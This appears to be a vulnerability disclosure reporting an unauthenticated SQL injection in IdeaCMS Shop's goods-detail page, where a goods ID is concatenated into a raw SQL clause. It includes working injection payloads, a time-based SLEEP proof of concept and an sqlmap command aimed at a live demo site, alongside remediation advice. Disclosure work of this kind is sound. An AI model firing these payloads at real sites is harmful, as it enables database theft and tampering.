Submit #702437: Shop (GoodPu Mall) IdeaCMS 1.0 goods_ids parame SQL Injection

## 1. Summary
IdeaCMS Shop (a.k.a. GoodPu Mall) ≤ 2025-11-27 allows unauthenticated SQL Injection in the front-end goods-detail page by injecting malicious SQL into the `id` parameter that is finally concatenated into a `whereRaw()` clause without any sanitisation.

## 2. Product / Vendor
- **Vendor**: 好铺商城 (IdeaCMS Team)
- **Product**: IdeaCMS Shop System (PC, H5, WeChat, Mini-Program, App)
- **Official Site**: https://www.ideacms.net
- **Source Repository**: https://github.com/fsong1121/ideacms.git
-** Submitter**:yudeshui
## 3. Affected Version
Latest public commit (master branch, 2025-11-27) and all earlier versions.

## 4. Vulnerability Details
### 4.1 Root Cause
File: `app/common/logic/index/Coupon.php`
Method: `readList(array $params)`
Line: `whereRaw('use_type = 0 or (use_type = 1 and FIND_IN_SET('.$goodsId.',goods_ids))')`

The scalar `$goodsId` is directly concatenated into the raw SQL fragment, letting an attacker break out of the `FIND_IN_SET()` context and append arbitrary SQL.

### 4.2 Attack Vector
```
GET /index/goods/index/id/2%20OR%201=1%23 HTTP/1.1
Host: victim.com
```
The payload reaches the SQL engine as:
```sql
use_type = 0 or (use_type = 1 and FIND_IN_SET(2 OR 1=1#,goods_ids))
```
Which MySQL interprets as:
```sql
use_type = 0 or (use_type = 1 and FIND_IN_SET(2 OR 1=1,goods_ids)) -- comment
```
Resulting in a boolean-based blind SQL injection that can be escalated to time-based or union-based techniques.

### 4.3 Security Impact
- **Confidentiality**: Full database read access (user hashes, orders, payment records, admin tokens).
- **Integrity**: Data tampering via stacked queries (MySQL multi-query enabled).
- **Availability**: Denial of service through `DELETE`/`UPDATE` injections.
- **Authentication**: Bypass of back-end login when admin password hashes are recovered.

## 5. Proof of Concept (PoC)
```http
GET /index/goods/index/id/2%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)%23 HTTP/1.1
Host: victim.com
```
#### sqlmap
```
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 8925 FROM (SELECT(SLEEP(5)))fFKT)
```
Observe a 5-second server delay, confirming time-based SQL injection.

```
sqlmap -u "https://b2c.ideacms.cn/index/goods/detail.html?id=2" --batch
```
<img width="1051" height="772" alt="Image" src="https://github.com/user-attachments/assets/1ffa0636-4950-46eb-b62f-b09b02e0afad" />

## 6. Remediation
Replace raw concatenation with parameter binding:
```php
->where(function ($q) use ($goodsId) {
$q->where('use_type', 0)
->orWhere(function ($q2) use ($goodsId) {
$q2->where('use_type', 1)
->whereRaw('FIND_IN_SET(?, goods_ids)', [$goodsId]);
});
})
```
or cast `$goodsId` to `(int)` if only numeric IDs are expected.

## 7. Workaround
Apply WAF rule blocking the literal string `FIND_IN_SET(` followed by non-digit characters in the URI, or temporarily disable coupon listing on the goods-detail page.

• Source: ⚠️ https://github.com/rassec2/dbcve/issues/17
• User: qiushui (UID 93022)
• Submission: 11/27/2025 04:12 (9 months ago)
• Moderation: 12/08/2025 06:48 (11 days later)
• Status: Accepted
• VulDB entry: 334755 [IdeaCMS up to 1.8 Coupon.php whereRaw params sql injection]
• Points: 20